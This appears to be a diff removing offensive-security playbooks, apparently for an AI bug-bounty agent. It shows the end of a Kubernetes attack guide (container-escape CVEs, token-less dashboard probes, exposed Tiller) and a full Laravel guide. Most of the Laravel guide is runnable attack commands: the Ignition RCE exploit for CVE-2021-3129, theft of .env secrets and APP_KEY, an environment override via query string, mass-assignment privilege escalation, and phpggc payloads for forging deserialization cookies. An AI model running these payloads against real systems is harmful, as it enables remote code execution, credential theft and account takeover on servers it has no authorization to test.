- **CVE-2024-21626 — "Leaky Vessels" (runc ≤ 1.1.11):** a leaked host file descriptor via `/proc/self/fd/<n>` lets a malicious image (`WORKDIR /proc/self/fd/N`) or `runc exec` cwd escape to the host filesystem → host RCE. Test only with an image you control on a build/registry surface where you can influence the Dockerfile.
|
|
225
|
-
- **CVE-2019-5736 (runc):** overwrite the host `/proc/self/exe` (the runc binary) from inside a container you can exec into → host root on next runc invocation. Applies to very old runc.
|
|
226
|
-
- **CVE-2022-0492 (cgroups v1 `release_agent`):** a container with `CAP_SYS_ADMIN` (or able to mount cgroupfs) writes a `release_agent` that executes on the host → escape. Check container caps first.
|
|
227
|
-
|
|
228
|
-
---
|
|
229
|
-
|
|
230
|
-
## Phase 8 — Dashboard, Admission, Helm/Tiller Remnants
|
|
231
|
-
|
|
232
|
-
```bash
|
|
233
|
-
# Kubernetes Dashboard — correct API base is /api/v1/... UNDER the dashboard service.
|
|
234
|
-
curl -sk "https://$TARGET:8443/" | grep -i "kubernetes dashboard"
|
|
235
|
-
# token-less probe (skip-login or anonymous-bound dashboard SA):
|
|
236
|
-
curl -sk "https://$TARGET:8443/api/v1/secret/default" # secrets list view
|
|
237
|
-
curl -sk "https://$TARGET:8443/api/v1/pod/default" # pods list view
|
|
238
|
-
curl -sk "https://$TARGET:8443/api/v1/namespace" # namespaces
|
|
239
|
-
# (paths are <resource> not <resource>/<id>; a 200 with real items = unauth dashboard data access)
|
|
240
|
-
|
|
241
|
-
# Helm 2 / Tiller remnant — gRPC on 44134, historically NO auth → full cluster as Tiller's SA
|
|
242
|
-
nmap -p 44134 -sV $TARGET
|
|
243
|
-
# helm --host $TARGET:44134 ls # if it answers, Tiller is exposed → install/delete any release
|
|
244
|
-
|
|
245
|
-
# Validating/Mutating admission webhooks — enumerate to find bypassable policy or SSRF-able webhook URLs
|
|
246
|
-
curl -sk "$SRV/apis/admissionregistration.k8s.io/v1/validatingwebhookconfigurations" -H "Authorization: Bearer $TOKEN"
|
|
247
|
-
# A webhook clientConfig.url pointing at an external/attacker-influenced host = SSRF/bypass surface.
|
|
248
|
-
```
|
|
249
|
-
|
|
250
|
-
---
|
|
251
|
-
|
|
252
|
-
## Chain Table
|
|
253
|
-
|
|
254
|
-
| K8s finding | Chain to | Impact |
|
|
255
|
-
|-------------|----------|--------|
|
|
256
|
-
| API anon **with confirmed secret read** | extract SA/TLS/app creds | Full cluster compromise |
|
|
257
|
-
| `nodes/proxy` token | API-server-mediated `/run` → pod RCE → SA token | Node-wide RCE → escalation |
|
|
258
|
-
| Kubelet 10250 `/run` | exec in any pod → steal SA token → API | Cluster privilege escalation |
|
|
259
|
-
| etcd 2379 unauth | dump all Secrets (if unencrypted) → replay token | Full credential dump |
|
|
260
|
-
| docker.sock | privileged container + host bind-mount | Host root |
|
|
261
|
-
| CVE-2024-21626 (runc) | malicious image/exec → host FD escape | Container → host root |
|
|
262
|
-
| EphemeralContainers / pods create | privileged/hostPID debug container | Pod → node escape |
|
|
263
|
-
| Projected SA token (aud matches) | API access scoped to its real RBAC | Depends on RBAC — verify first |
|
|
264
|
-
| Tiller 44134 exposed | helm install as Tiller SA | Cluster-admin if Tiller is privileged |
|
|
265
|
-
|
|
266
|
-
---
|
|
267
|
-
|
|
268
|
-
## False-Positive Killers
|
|
269
|
-
|
|
270
|
-
- **Anon `200` ≠ cluster-admin.** RBAC-filtered list returns `200`/empty `items`. Require SelfSubjectRulesReview to show the verbs, then an actual Secret value read.
|
|
271
|
-
- **10255 ≠ 10250.** Read-only kubelet has no exec/run. "Kubelet RCE" must come from a `/run` output or a completed `/exec` stream on 10250.
|
|
272
|
-
- **`/exec` plain-POST returns 302, not output.** Seeing no body is NOT "patched" — follow the stream (kubeletctl/websocat) before concluding either way.
|
|
273
|
-
- **Projected/bound SA token may be dead or wrong-audience.** Decode `exp` and `aud`; a Vault/OIDC-audience token will not authenticate to the API server.
|
|
274
|
-
- **etcd plaintext assumption.** If `EncryptionConfiguration` is enabled, Secret values in etcd are ciphertext — don't claim "plaintext secrets" without showing decoded bytes.
|
|
275
|
-
- **Version-gated CVEs.** Confirm `gitVersion` (Phase 1) / runc version before asserting CVE-2018-1002105, -2024-21626, -2019-5736, etc. A version match is a lead; the PoC output is the proof.
|
|
276
|
-
- **Dashboard `200` on the HTML shell** is just the login page; only a `200` with real resource JSON under `/api/v1/<resource>/<ns>` proves token-less data access.
|
|
277
|
-
|
|
278
|
-
---
|
|
279
|
-
|
|
280
|
-
## Validation Checklist
|
|
281
|
-
|
|
282
|
-
- [ ] **API anon:** SelfSubjectRulesReview shows privileged verbs AND a real Secret value was read (redacted).
|
|
283
|
-
- [ ] **Kubelet:** literal `id`/`hostname` output returned from 10250 `/run`, or a completed `/exec` stream — not a bare 302.
|
|
284
|
-
- [ ] **nodes/proxy RCE:** command output returned through `/api/v1/nodes/<node>/proxy/run/...` with your token.
|
|
285
|
-
- [ ] **etcd:** decoded Secret bytes shown (proves unencrypted + readable), not just a key listing.
|
|
286
|
-
- [ ] **docker.sock / escape:** the NODE's host file content retrieved (distinct from container), or runc-escape PoC output.
|
|
287
|
-
- [ ] **SA token:** `aud`/`exp` decoded and shown valid; impact bounded to its real RBAC.
|
|
288
|
-
- [ ] **OOB:** any outbound/SSRF hop confirmed via Collaborator/interactsh subdomain.
|
|
289
|
-
|
|
290
|
-
**Severity:**
|
|
291
|
-
- API anon→secret read, kubelet/nodes-proxy RCE, etcd dump, docker.sock/runc escape, CVE-2018-1002105: **Critical**
|
|
292
|
-
- Dashboard token-less data access, exposed Tiller: **High**
|
|
293
|
-
- Read-only kubelet 10255, anon `/version`/`/pods` info disclosure: **Medium**
|
|
@@ -1,211 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: hunt-laravel
|
|
3
|
-
description: Hunt Laravel specific vulnerabilities — Debug mode leakage (APP_DEBUG=true exposes full stack trace + env vars), Laravel Telescope/Horizon dashboard unauthorized access, Ignition RCE (CVE-2021-3129), Signed URL manipulation, Queue Worker abuse, mass assignment via Eloquent, deserialization via cookies, .env file exposure. Use when target runs Laravel (PHP) — detected via X-Powered-By, Laravel session cookies, or /storage/ paths.
|
|
4
|
-
sources: hackerone_public, cve_database
|
|
5
|
-
report_count: 14
|
|
6
|
-
---
|
|
7
|
-
|
|
8
|
-
# HUNT-LARAVEL — Laravel Specific Vulnerabilities
|
|
9
|
-
|
|
10
|
-
## Crown Jewel Targets
|
|
11
|
-
|
|
12
|
-
Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).
|
|
13
|
-
|
|
14
|
-
**Highest-value findings:**
|
|
15
|
-
- **Ignition RCE (CVE-2021-3129)** — `APP_DEBUG=true` + Laravel < 8.4.2 → `/_ignition/execute-solution` RCE without auth
|
|
16
|
-
- **Telescope dashboard** — `/telescope` exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
|
|
17
|
-
- **Horizon dashboard** — `/horizon` exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
|
|
18
|
-
- **Signed URL manipulation** — if `URL::signedRoute` validates wrong params → bypass signed URL → unauthorized actions
|
|
19
|
-
- **.env exposure** — `APP_KEY` leaked → decrypt all encrypted cookies → forge session → ATO
|
|
20
|
-
|
|
21
|
-
---
|
|
22
|
-
|
|
23
|
-
## Phase 1 — Fingerprint Laravel
|
|
24
|
-
|
|
25
|
-
```bash
|
|
26
|
-
# Laravel-specific indicators
|
|
27
|
-
curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
|
|
28
|
-
curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"
|
|
29
|
-
|
|
30
|
-
# Common Laravel paths
|
|
31
|
-
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
|
|
32
|
-
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
|
|
33
|
-
[ "$STATUS" != "404" ] && echo "$path: $STATUS"
|
|
34
|
-
done
|
|
35
|
-
|
|
36
|
-
# Check error page (trigger 404)
|
|
37
|
-
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"
|
|
38
|
-
```
|
|
39
|
-
|
|
40
|
-
---
|
|
41
|
-
|
|
42
|
-
## Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)
|
|
43
|
-
|
|
44
|
-
```bash
|
|
45
|
-
# Step 1: Check if debug mode is enabled (Whoops error page)
|
|
46
|
-
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"
|
|
47
|
-
|
|
48
|
-
# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129
|
|
49
|
-
|
|
50
|
-
# Step 2: Check Ignition endpoint
|
|
51
|
-
curl -s "https://$TARGET/_ignition/health-check" | head -5
|
|
52
|
-
|
|
53
|
-
# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
|
|
54
|
-
# (Requires debug mode + writable storage/logs)
|
|
55
|
-
# Tool: ambionics/laravel-ignition-rce
|
|
56
|
-
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
|
|
57
|
-
php /tmp/laravel-rce/exploit.php https://$TARGET "id"
|
|
58
|
-
|
|
59
|
-
# Manual test — send solution request
|
|
60
|
-
curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
|
|
61
|
-
-H "Content-Type: application/json" \
|
|
62
|
-
-d '{
|
|
63
|
-
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
|
|
64
|
-
"parameters": {
|
|
65
|
-
"variableName": "x",
|
|
66
|
-
"viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
|
|
67
|
-
}
|
|
68
|
-
}'
|
|
69
|
-
```
|
|
70
|
-
|
|
71
|
-
---
|
|
72
|
-
|
|
73
|
-
## Phase 3 — Laravel Telescope & Horizon
|
|
74
|
-
|
|
75
|
-
```bash
|
|
76
|
-
# Telescope — request/response logs, DB queries, jobs, cache, events
|
|
77
|
-
curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
|
|
78
|
-
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
|
|
79
|
-
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
|
|
80
|
-
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
|
|
81
|
-
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
|
|
82
|
-
|
|
83
|
-
# Horizon — queue worker dashboard
|
|
84
|
-
curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
|
|
85
|
-
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
|
|
86
|
-
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
|
|
87
|
-
# Failed job payloads often contain full request data including auth tokens
|
|
88
|
-
|
|
89
|
-
# Common paths
|
|
90
|
-
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
|
|
91
|
-
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
|
|
92
|
-
[ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
|
|
93
|
-
done
|
|
94
|
-
```
|
|
95
|
-
|
|
96
|
-
---
|
|
97
|
-
|
|
98
|
-
## Phase 4 — .env File & APP_KEY Exposure
|
|
99
|
-
|
|
100
|
-
```bash
|
|
101
|
-
# Direct .env access
|
|
102
|
-
curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
|
|
103
|
-
curl -s "https://$TARGET/.env.production"
|
|
104
|
-
curl -s "https://$TARGET/.env.backup"
|
|
105
|
-
curl -s "https://$TARGET/.env.local"
|
|
106
|
-
|
|
107
|
-
# If APP_KEY found:
|
|
108
|
-
APP_KEY="base64:XXXXXXX"
|
|
109
|
-
echo "APP_KEY=$APP_KEY"
|
|
110
|
-
# → Can decrypt all Laravel encrypted cookies
|
|
111
|
-
# → Can forge session cookies → ATO for any user
|
|
112
|
-
|
|
113
|
-
# Also check
|
|
114
|
-
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"
|
|
115
|
-
```
|
|
116
|
-
|
|
117
|
-
---
|
|
118
|
-
|
|
119
|
-
## Phase 4b — Environment override via query args (CVE-2024-52301)
|
|
120
|
-
When `register_argc_argv=On` (php.ini), Laravel parses the query-string as CLI args, so `?--env=` overrides `APP_ENV` over HTTP -> flip the app into `local`/`testing` config (debug on, seeded creds, weaker guards).
|
|
121
|
-
```bash
|
|
122
|
-
curl -s "https://$TARGET/?--env=local" # force debug/local config
|
|
123
|
-
curl -s "https://$TARGET/login?--env=testing" # swap to testing DB/config
|
|
124
|
-
# Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.
|
|
125
|
-
```
|
|
126
|
-
|
|
127
|
-
## Phase 5 — Signed URL Manipulation
|
|
128
|
-
|
|
129
|
-
```bash
|
|
130
|
-
# Laravel signed URLs contain signature param: ?signature=HASH
|
|
131
|
-
# Find signed URL endpoints
|
|
132
|
-
cat recon/$TARGET/urls.txt | grep "signature="
|
|
133
|
-
|
|
134
|
-
# Test: modify a non-signature parameter — should fail validation
|
|
135
|
-
SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"
|
|
136
|
-
|
|
137
|
-
# Modify user ID → should fail if properly signed
|
|
138
|
-
curl -s "${SIGNED_URL/user=123/user=999}"
|
|
139
|
-
|
|
140
|
-
# Test signature bypass: remove signature entirely
|
|
141
|
-
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"
|
|
142
|
-
|
|
143
|
-
# Test: does the app validate ALL parameters or just some?
|
|
144
|
-
curl -s "${SIGNED_URL}&extra=malicious"
|
|
145
|
-
```
|
|
146
|
-
|
|
147
|
-
---
|
|
148
|
-
|
|
149
|
-
## Phase 6 — Mass Assignment via Eloquent
|
|
150
|
-
|
|
151
|
-
```bash
|
|
152
|
-
# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
|
|
153
|
-
# Test: add extra fields to update/create requests
|
|
154
|
-
|
|
155
|
-
# Profile update
|
|
156
|
-
curl -s -X POST "https://$TARGET/api/profile" \
|
|
157
|
-
-H "Cookie: laravel_session=SESSION" \
|
|
158
|
-
-H "Content-Type: application/json" \
|
|
159
|
-
-d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'
|
|
160
|
-
|
|
161
|
-
# Registration
|
|
162
|
-
curl -s -X POST "https://$TARGET/api/register" \
|
|
163
|
-
-H "Content-Type: application/json" \
|
|
164
|
-
-d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'
|
|
165
|
-
```
|
|
166
|
-
|
|
167
|
-
---
|
|
168
|
-
|
|
169
|
-
## Phase 7 — Laravel Cookie Deserialization
|
|
170
|
-
|
|
171
|
-
```bash
|
|
172
|
-
# If APP_KEY is known, forge a session cookie with malicious serialized payload
|
|
173
|
-
# Uses phpggc gadget chains
|
|
174
|
-
|
|
175
|
-
# Get the app key
|
|
176
|
-
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)
|
|
177
|
-
|
|
178
|
-
# Generate payload with phpggc
|
|
179
|
-
php phpggc Laravel/RCE5 system 'id' | base64
|
|
180
|
-
|
|
181
|
-
# Sign the cookie with the app key using laravel-cookie-forge script
|
|
182
|
-
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"
|
|
183
|
-
```
|
|
184
|
-
|
|
185
|
-
---
|
|
186
|
-
|
|
187
|
-
## Chain Table
|
|
188
|
-
|
|
189
|
-
| Laravel finding | Chain to | Impact |
|
|
190
|
-
|----------------|----------|--------|
|
|
191
|
-
| Debug mode ON | CVE-2021-3129 Ignition RCE | Critical RCE |
|
|
192
|
-
| Telescope accessible | Read API keys, DB queries, env vars | High - credential theft |
|
|
193
|
-
| Horizon accessible | Read failed job payloads | High - PII/token exfil |
|
|
194
|
-
| .env exposed with APP_KEY | Forge session cookie → ATO | Critical ATO |
|
|
195
|
-
| Signed URL bypass | Unauthorized actions (unsubscribe any user, etc.) | Medium-High |
|
|
196
|
-
| Mass assignment | Set is_admin=true → privilege escalation | Critical |
|
|
197
|
-
|
|
198
|
-
---
|
|
199
|
-
|
|
200
|
-
## Validation
|
|
201
|
-
|
|
202
|
-
✅ Ignition RCE: `id` command output returned in response
|
|
203
|
-
✅ Telescope: API responses contain DB queries with credentials or user tokens
|
|
204
|
-
✅ APP_KEY: Forged session cookie accepted, returns another user's profile
|
|
205
|
-
✅ Mass assignment: `is_admin: true` accepted, account now has admin privileges
|
|
206
|
-
|
|
207
|
-
**Severity:**
|
|
208
|
-
- Ignition RCE: Critical
|
|
209
|
-
- Telescope/Horizon with sensitive data: High
|
|
210
|
-
- .env with APP_KEY: Critical
|
|
211
|
-
- Mass assignment to admin: Critical
|